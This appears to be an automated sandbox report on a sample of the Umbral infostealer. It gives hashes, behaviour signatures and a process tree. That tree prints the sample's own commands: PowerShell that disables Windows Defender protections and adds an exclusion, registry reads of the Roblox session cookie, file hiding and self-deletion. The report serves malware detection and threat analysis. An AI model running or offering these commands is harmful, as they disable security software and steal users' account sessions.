Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-01-2025 00:35

General

  • Target

    a47429f5154f3004736a632274f3f39ef307a44d7f0f65feac008085ffa9d2a6.exe

  • Size

    231KB

  • MD5

    d4614e3b2357a4cd0b0b8c4193d10fda

  • SHA1

    774af912c6d7685175ad069f22848d72d0dab03b

  • SHA256

    a47429f5154f3004736a632274f3f39ef307a44d7f0f65feac008085ffa9d2a6

  • SHA512

    39b4c4a02b58ad825277843e4ca7492f35b14e90ac32f60b9f9caecfe348598a8d836bae9b138661cf66ddb3cc45d6fb668733363a55bac818342b37a1fdfd69

  • SSDEEP

    6144:xloZM+rIkd8g+EtXHkv/iD4+Ocip3cw/oeHp0AVO0b8e1mMiq:DoZtL+EP8+Ocip3cw/oeHp0AVjiq

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a47429f5154f3004736a632274f3f39ef307a44d7f0f65feac008085ffa9d2a6.exe
    "C:\Users\Admin\AppData\Local\Temp\a47429f5154f3004736a632274f3f39ef307a44d7f0f65feac008085ffa9d2a6.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2888
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\a47429f5154f3004736a632274f3f39ef307a44d7f0f65feac008085ffa9d2a6.exe"
      2⤵
      • Views/modifies file attributes
      PID:1264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a47429f5154f3004736a632274f3f39ef307a44d7f0f65feac008085ffa9d2a6.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1204
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3420
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:3624
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1140
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1956
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:3176
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\a47429f5154f3004736a632274f3f39ef307a44d7f0f65feac008085ffa9d2a6.exe" && pause
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4768

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        f4bf3ca8753d6bb9725419fec1ec74b9

        SHA1

        71fce9d17d1d92873236a9a827c52eb9e4827f3d

        SHA256

        ca8697e4ada4c3d4aac2899b8aad4052ccd605fccee05ee0a831368bde2f7417

        SHA512

        a55a107ae8bcf833ea674413c765cd55096146c9634dff41884fcc851c12fe47753308099525c99ae44883facfb668c8b292dd915263f34ebd1190391cb28a54

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        88be3bc8a7f90e3953298c0fdbec4d72

        SHA1

        f4969784ad421cc80ef45608727aacd0f6bf2e4b

        SHA256

        533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

        SHA512

        4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        08acd3b3adb62454bb007db3037b6edb

        SHA1

        4ad2987e376a3be56ce98f656c415cb623847d29

        SHA256

        f9f9627b10a7b63ce88f5fc56f31e0c1ae7b72d1b3e019f40ebe0369794f80a5

        SHA512

        951ef45e2329f915371db2f9ae9aa11f92986bff8cbc15fcb0184b6d2f1d930ba28a705019d1090e76026f2828317acb3826527ed10ee238e82d63b3bb20c32a

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_msktf32t.qtd.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1912-32-0x000002257A9A0000-0x000002257AA16000-memory.dmp

        Filesize

        472KB

      • memory/1912-72-0x000002257AA70000-0x000002257AA82000-memory.dmp

        Filesize

        72KB

      • memory/1912-94-0x00007FFE236D0000-0x00007FFE24191000-memory.dmp

        Filesize

        10.8MB

      • memory/1912-93-0x000002257A530000-0x000002257A632000-memory.dmp

        Filesize

        1.0MB

      • memory/1912-0-0x00007FFE236D3000-0x00007FFE236D5000-memory.dmp

        Filesize

        8KB

      • memory/1912-33-0x000002257AA20000-0x000002257AA70000-memory.dmp

        Filesize

        320KB

      • memory/1912-34-0x000002257A940000-0x000002257A95E000-memory.dmp

        Filesize

        120KB

      • memory/1912-88-0x00007FFE236D3000-0x00007FFE236D5000-memory.dmp

        Filesize

        8KB

      • memory/1912-2-0x00007FFE236D0000-0x00007FFE24191000-memory.dmp

        Filesize

        10.8MB

      • memory/1912-71-0x000002257A960000-0x000002257A96A000-memory.dmp

        Filesize

        40KB

      • memory/1912-1-0x0000022578160000-0x00000225781A0000-memory.dmp

        Filesize

        256KB

      • memory/3392-17-0x00007FFE236D0000-0x00007FFE24191000-memory.dmp

        Filesize

        10.8MB

      • memory/3392-3-0x00007FFE236D0000-0x00007FFE24191000-memory.dmp

        Filesize

        10.8MB

      • memory/3392-4-0x00007FFE236D0000-0x00007FFE24191000-memory.dmp

        Filesize

        10.8MB

      • memory/3392-7-0x000001EF781C0000-0x000001EF781E2000-memory.dmp

        Filesize

        136KB